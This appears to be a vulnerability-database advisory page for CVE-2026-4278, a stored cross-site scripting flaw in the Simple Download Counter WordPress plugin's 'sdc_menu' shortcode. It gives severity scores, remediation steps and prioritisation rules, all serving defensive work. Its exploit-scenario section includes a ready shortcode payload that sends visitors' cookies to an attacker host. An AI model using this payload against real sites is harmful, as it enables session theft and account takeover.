What is the CVSS score of CVE-2026-4278?

CVE-2026-4278 has a CVSS 3.1 base score of 6.4 (Medium). CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N. EPSS exploitation probability: 0.1%.

How to fix or mitigate CVE-2026-4278?

Within 30 days: Identify affected systems running all and apply vendor patches as part of regular patch cycle. Verify Content-Security-Policy and output encoding.

Simple Download Counter CVE-2026-4278

EUVD-2026-16098 MEDIUM

Cross-site Scripting (XSS) (CWE-79)

2026-03-26 Wordfence

WordPress XSS Simple Download Counter Wordpress Plugin Specialk

6.4

CVSS 3.1 · NVD

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Vulnerability Assessment

Weakness	CWE CWE-79 OWASP Top 10:2025 A05:2025 - Injection ASVS 5.0 V1 - Encoding and Sanitization Output encoding, context-aware escaping MITRE ATT&CK 2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. Sign in to read
Impact	The CVSS 3.1 vector (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) indicates moderate real-world risk with several important contextual factors. The attack vector is network-based with low complexity, but requires low privileges (Contributor role or above), meaning only authenticated users can exploit this-not anonymous attackers. The scope is changed (affecting other users), and impact is limited to confidentiality and integrity with no availability impact. In terms of real-world priority: this is NOT a critical vulnerability despite the 6.4 CVSS score because it requires authentication and is not trivially exploitable across all WordPress installations. However, it becomes a significant priority if the affected site has many contributors or if user account compromise is a risk vector in the threat model. The vulnerability is confirmed via multiple source code references in the WordPress plugin repository, indicating the technical evidence is solid. Without explicit KEV or POC information in the provided data, this should be treated as confirmed but not yet known to be actively exploited in the wild.
Exploit ScenarioDerived	A contributor-level user (such as a guest blogger or content editor) who has legitimate access to create or edit WordPress posts discovers the vulnerability and crafts a shortcode like [sdc_menu text='<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' cat='test']. When this post is published, the injected script executes in the browser of every visitor, including administrators, allowing the attacker to steal session cookies, perform account takeover, or inject malware. Because the XSS is stored in the page content, it persists indefinitely until the post is edited, making this a high-impact attack despite the authentication requirement.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).

No patch listed yet 0.1% exploitation probability (EPSS)

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AnalysisAIv1 – Mar 26, 2026

The Simple Download Counter WordPress plugin contains a Stored Cross-Site Scripting (XSS) vulnerability in the 'sdc_menu' shortcode due to insufficient input sanitization and output escaping of the 'text' and 'cat' attributes. Authenticated attackers with Contributor-level access or higher can inject arbitrary JavaScript code into pages via these unescaped shortcode attributes, which will execute for all users visiting the affected pages. All versions up to and including 2.3 are vulnerable, with a CVSS score of 6.4 indicating moderate severity and the vulnerability requiring low attack complexity and only low privileges to exploit.

RemediationAI

The primary remediation is to upgrade the Simple Download Counter plugin to a version later than 2.3 that includes fixes for output escaping. Users should immediately review the WordPress plugin repository and check for an updated version that properly applies esc_html() to the 'text' attribute output and esc_attr() to the 'cat' attribute in HTML class contexts. Until a patched version is available, administrators should restrict the ability to use shortcodes or edit posts/pages to trusted administrators only by reducing or removing Contributor-level permissions for untrusted users. Additionally, implement Content Security Policy (CSP) headers at the web server or reverse proxy level to restrict inline script execution, which would mitigate stored XSS attacks even if malicious shortcodes are injected. The official plugin repository at https://plugins.trac.wordpress.org/browser/simple-download-counter/ should be monitored for patch releases.

Affected VersionsENISA

Simple Download Counter * ≤2.3

Affected Packages

euvd simple_download_counter no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability is rooted in CWE-79 (Improper Neutralization of Input During Web Page Generation, also known as Cross-Site Scripting). The Simple Download Counter plugin (CPE: cpe:2.3:a:specialk:simple_download_counter:*:*:*:*:*:*:*:*) processes shortcode attributes through the WordPress shortcode API but fails to apply proper output encoding at critical points. Specifically, the 'text' attribute is output directly into HTML content at line 159 of functions-shortcode.php without using WordPress escaping functions like esc_html(), and the 'cat' attribute is embedded in HTML class attributes at lines 135 and 157 without using esc_attr(). This represents a classic failure in WordPress plugin development where user-controlled data flows through shortcode handlers into rendered page output without sanitization or escaping.

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Severity by source

NVD PRIMARY 6.4 MEDIUM

AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector

Network

Attack Complexity

Low

Privileges Required

Low

User Interaction

None

Scope

Changed

Confidentiality

Low

Integrity

Low

Availability

None

DescriptionCVE.org

The Simple Download Counter plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'sdc_menu' shortcode in all versions up to, and including, 2.3. This is due to insufficient input sanitization and output escaping on user-supplied shortcode attributes, specifically the 'text' and 'cat' attributes. The 'text' attribute is output directly into HTML content on line 159 without any escaping (e.g., esc_html()). The 'cat' attribute is used unescaped in HTML class attributes on lines 135 and 157 without esc_attr(). This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Executive ViewAI

Why It Matters

Organizations using all should be aware of moderate risk from CVE-2026-4278, a cross-site scripting vulnerability rated CVSS 6.4. Attackers could inject scripts to steal sessions or perform actions as authenticated users. Organizations should apply vendor updates when available and monitor for exploitation.

Business Impact: Low

Compensating Controls

Apply vendor patch. If patching is delayed: implement CSP headers, enable HttpOnly cookies, deploy WAF XSS rules.

Threat Intelligence Overview

EPSS Score

0.1%

Top 82% exploitable

Data Quality

5 sources

Confidence: Medium

EUVD

NVD

CVE.org

EPSS

Vulnrichment

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue

Severity MEDIUM

CISA KEV No

Public POC No

EPSS 0.1%

Patch available No

Active threat No

Deciding rule

MEDIUM severity (CVSS 4.0-6.9)

What every action level means

Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.

Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.

This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.

This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.

Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.